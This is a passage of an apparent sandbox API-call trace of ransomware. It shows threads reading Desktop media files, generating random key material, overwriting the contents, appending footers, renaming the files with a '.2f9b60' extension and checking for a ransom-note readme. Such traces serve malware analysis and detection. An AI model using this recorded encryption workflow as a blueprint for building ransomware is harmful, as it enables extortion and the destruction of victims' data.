RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20244990 [0098.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0098.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0098.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0098.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.920] WriteFile (in: hFile=0x14e0, lpBuffer=0x20244990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x222efa40, lpOverlapped=0x0 | out: lpBuffer=0x20244990*, lpNumberOfBytesWritten=0x222efa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20244990) returned 1 [0100.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20240d80) returned 1 [0100.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263b90 [0100.927] SetFilePointerEx (in: hFile=0x14e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.927] WriteFile (in: hFile=0x14e0, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x222efaf0, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x222efaf0*=0x10a, lpOverlapped=0x0) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167820) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202610a0) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261130) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261190) returned 1 [0101.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0101.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b869840 [0101.948] wcscpy (in: _Dest=0x1b869840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg" [0101.948] wcscat (in: _Dest=0x1b869840, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg.2f9b60" [0101.948] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg.2f9b60", NtPathName=0x222efb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P7chKgny.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c330 [0108.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c330) returned 1 [0108.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aa60) returned 1 [0108.993] NtQueryInformationFile (in: FileHandle=0x14e0, IoStatusBlock=0x222efb78, FileInformation=0x222efb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x222efb78, FileInformation=0x222efb88) returned 0x0 [0108.993] NtSetInformationFile (FileHandle=0x14e0, IoStatusBlock=0x222efb78, FileInformation=0x222efb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869840) returned 1 [0109.004] FlushFileBuffers (hFile=0x14e0) returned 1 [0109.011] CloseHandle (hObject=0x14e0) returned 1 [0109.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dcf0 [0109.013] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.013] wcscat (in: _Dest=0x1b79dcf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0109.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8643e0) returned 1 Thread: id = 793 os_tid = 0x1348 [0098.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p__BY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p__by.mp4")) returned 0x20 [0098.922] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p__BY.mp4", dwFileAttributes=0x20) returned 1 [0098.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p__BY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p__by.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14e4 [0098.923] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x229cf7e0 | out: lpFileSize=0x229cf7e0*=41765) returned 1 [0098.923] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0xa321, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.923] ReadFile (in: hFile=0x14e4, lpBuffer=0x229cf760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x229cf7a8, lpOverlapped=0x0 | out: lpBuffer=0x229cf760*, lpNumberOfBytesRead=0x229cf7a8*=0x4, lpOverlapped=0x0) returned 1 [0098.924] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0098.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0098.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0098.924] NtQuerySystemTime (in: CurrentTime=0x229cf6a0 | out: CurrentTime=0x229cf6a0*=132462177044494000) returned 0x0 [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x27f6ee0b [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x7c24daee [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x5ee5516a [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x2ad89f4c [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x5cd7bc95 [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0xd7c9f8a [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x31a15360 [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x1a3b0f14 [0098.924] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x6d3f851d [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x11b9eec6 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x75c0783d [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x27d8f058 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x5ebd98a7 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x48d9e258 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x40624b58 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x6ff697ab [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x269b87ae [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x3c3f8361 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x3824e920 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x42b508e5 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0xeb7110a [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x69a00051 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x1f58371 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0xfc08002 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x7a24d099 [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x7f4a527b [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x91c06b [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x269e8fdb [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x5787b33a [0098.925] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x1a53b133 [0098.926] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x51a9a229 [0098.926] RtlRandomEx (in: Seed=0x229cf690 | out: Seed=0x229cf690) returned 0x66d290b1 [0098.936] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.936] ReadFile (in: hFile=0x14e4, lpBuffer=0x202485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x229cf700, lpOverlapped=0x0 | out: lpBuffer=0x202485a0*, lpNumberOfBytesRead=0x229cf700*=0x3c00, lpOverlapped=0x0) returned 1 [0098.936] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0098.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0098.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2024c1b0 [0098.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0098.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0098.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261220) returned 1 [0098.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.937] WriteFile (in: hFile=0x14e4, lpBuffer=0x2024c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x229cf700, lpOverlapped=0x0 | out: lpBuffer=0x2024c1b0*, lpNumberOfBytesWritten=0x229cf700*=0x3c00, lpOverlapped=0x0) returned 1 [0100.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2024c1b0) returned 1 [0100.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202485a0) returned 1 [0100.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0100.927] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.928] WriteFile (in: hFile=0x14e4, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x229cf7b0, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x229cf7b0*=0x104, lpOverlapped=0x0) returned 1 [0102.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0102.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8698c0 [0102.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0102.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0102.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0102.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0102.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0102.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618e0) returned 1 [0102.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 [0102.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0102.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202618e0 [0102.046] sprintf (in: _Dest=0x202618e0, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.046] sprintf (in: _Dest=0x202618e2, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.046] sprintf (in: _Dest=0x202618e4, _Format="%c%c" | out: _Dest="cf") returned 2 [0102.046] sprintf (in: _Dest=0x202618e6, _Format="%c%c" | out: _Dest="59") returned 2 [0102.046] sprintf (in: _Dest=0x202618e8, _Format="%c%c" | out: _Dest="01") returned 2 [0102.046] sprintf (in: _Dest=0x202618ea, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.046] sprintf (in: _Dest=0x202618ec, _Format="%c%c" | out: _Dest="be") returned 2 [0102.046] sprintf (in: _Dest=0x202618ee, _Format="%c%c" | out: _Dest="be") returned 2 [0102.047] sprintf (in: _Dest=0x202618f0, _Format="%c%c" | out: _Dest="0f") returned 2 [0102.047] sprintf (in: _Dest=0x202618f2, _Format="%c%c" | out: _Dest="62") returned 2 [0102.047] sprintf (in: _Dest=0x202618f4, _Format="%c%c" | out: _Dest="1b") returned 2 [0102.047] sprintf (in: _Dest=0x202618f6, _Format="%c%c" | out: _Dest="c4") returned 2 [0102.047] sprintf (in: _Dest=0x202618f8, _Format="%c%c" | out: _Dest="6f") returned 2 [0102.047] sprintf (in: _Dest=0x202618fa, _Format="%c%c" | out: _Dest="dc") returned 2 [0102.047] sprintf (in: _Dest=0x202618fc, _Format="%c%c" | out: _Dest="69") returned 2 [0102.047] sprintf (in: _Dest=0x202618fe, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.047] sprintf (in: _Dest=0x20261900, _Format="%c%c" | out: _Dest="98") returned 2 [0102.047] sprintf (in: _Dest=0x20261902, _Format="%c%c" | out: _Dest="96") returned 2 [0102.047] RtlInitAnsiString (in: DestinationString=0x229cf828, SourceString="4d0acf5901a4bebe0f621bc46fdc690a9896" | out: DestinationString="4d0acf5901a4bebe0f621bc46fdc690a9896") [0102.047] RtlAnsiStringToUnicodeString (in: DestinationString=0x229cf7f8, SourceString="4d0acf5901a4bebe0f621bc46fdc690a9896", AllocateDestinationString=1 | out: DestinationString="4d0acf5901a4bebe0f621bc46fdc690a9896") returned 0x0 [0102.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cb50 [0102.047] wcscat (in: _Dest=0x1b8698c0, _Source="4d0acf590" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d0acf590") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d0acf590" [0102.047] wcscat (in: _Dest=0x1b8698c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d0acf590.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d0acf590.2f9b60" [0102.047] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d0acf590.2f9b60", NtPathName=0x229cf7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d0acf590.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c5b0 [0109.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c5b0) returned 1 [0109.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505af0) returned 1 [0109.120] NtQueryInformationFile (in: FileHandle=0x14e4, IoStatusBlock=0x229cf838, FileInformation=0x229cf848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x229cf838, FileInformation=0x229cf848) returned 0x0 [0109.120] NtSetInformationFile (FileHandle=0x14e4, IoStatusBlock=0x229cf838, FileInformation=0x229cf848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 [0109.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cb50) returned 1 [0109.346] FlushFileBuffers (hFile=0x14e4) returned 1 [0109.348] CloseHandle (hObject=0x14e4) returned 1 [0109.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8698c0 [0109.349] wcscpy (in: _Dest=0x1b8698c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.349] wcscat (in: _Dest=0x1b8698c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.349] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 [0109.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864450) returned 1 Thread: id = 794 os_tid = 0x134c [0098.938] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryBKxx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rybkxx.m4a")) returned 0x20 [0098.938] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryBKxx.m4a", dwFileAttributes=0x20) returned 1 [0098.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryBKxx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rybkxx.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14e8 [0098.939] GetFileSizeEx (in: hFile=0x14e8, lpFileSize=0x22b8f940 | out: lpFileSize=0x22b8f940*=14921) returned 1 [0098.939] SetFilePointerEx (in: hFile=0x14e8, liDistanceToMove=0x3a45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.939] ReadFile (in: hFile=0x14e8, lpBuffer=0x22b8f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22b8f908, lpOverlapped=0x0 | out: lpBuffer=0x22b8f8c0*, lpNumberOfBytesRead=0x22b8f908*=0x4, lpOverlapped=0x0) returned 1 [0098.940] SetFilePointerEx (in: hFile=0x14e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0098.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0098.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612e0 [0098.940] NtQuerySystemTime (in: CurrentTime=0x22b8f800 | out: CurrentTime=0x22b8f800*=132462177044650000) returned 0x0 [0098.940] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5a0c35fa [0098.940] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5d181dad [0098.940] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5e7731b [0098.940] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x7c675ffe [0098.940] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x598a6c6a [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x18a34c26 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5054a7a7 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x7ec5a5ad [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x76b55db5 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x77745547 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5a1bcfd3 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x3d62e184 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x45d5df94 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x50787607 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x18fbc456 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x125b3edf [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5e70849d [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x10116bba [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x32bf198e [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0xcef5444 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x273f68f9 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x44f19261 [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x13f6c0ba [0098.941] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x976d389 [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0xcef4262 [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x63704887 [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x40501d9d [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x60ae1589 [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x5681b1a6 [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x46cf33bd [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x25dc59ac [0098.942] RtlRandomEx (in: Seed=0x22b8f7f0 | out: Seed=0x22b8f7f0) returned 0x329b9a52 [0098.953] ReadFile (in: hFile=0x14e8, lpBuffer=0x1cf26600, nNumberOfBytesToRead=0x3a49, lpNumberOfBytesRead=0x22b8f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1cf26600*, lpNumberOfBytesRead=0x22b8f7f0*=0x3a49, lpOverlapped=0x0) returned 1 [0098.953] SetFilePointerEx (in: hFile=0x14e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.953] WriteFile (in: hFile=0x14e8, lpBuffer=0x1cf2a210*, nNumberOfBytesToWrite=0x3a49, lpNumberOfBytesWritten=0x22b8f7f4, lpOverlapped=0x0 | out: lpBuffer=0x1cf2a210*, lpNumberOfBytesWritten=0x22b8f7f4*=0x3a49, lpOverlapped=0x0) returned 1 [0100.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0100.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0100.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0100.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf2a210) returned 1 [0100.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf26600) returned 1 [0100.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0100.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0100.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263c20 [0100.531] SetFilePointerEx (in: hFile=0x14e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.532] WriteFile (in: hFile=0x14e8, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x22b8f910, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x22b8f910*=0x106, lpOverlapped=0x0) returned 1 [0100.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0100.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0100.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0100.634] RtlAllocateHeap 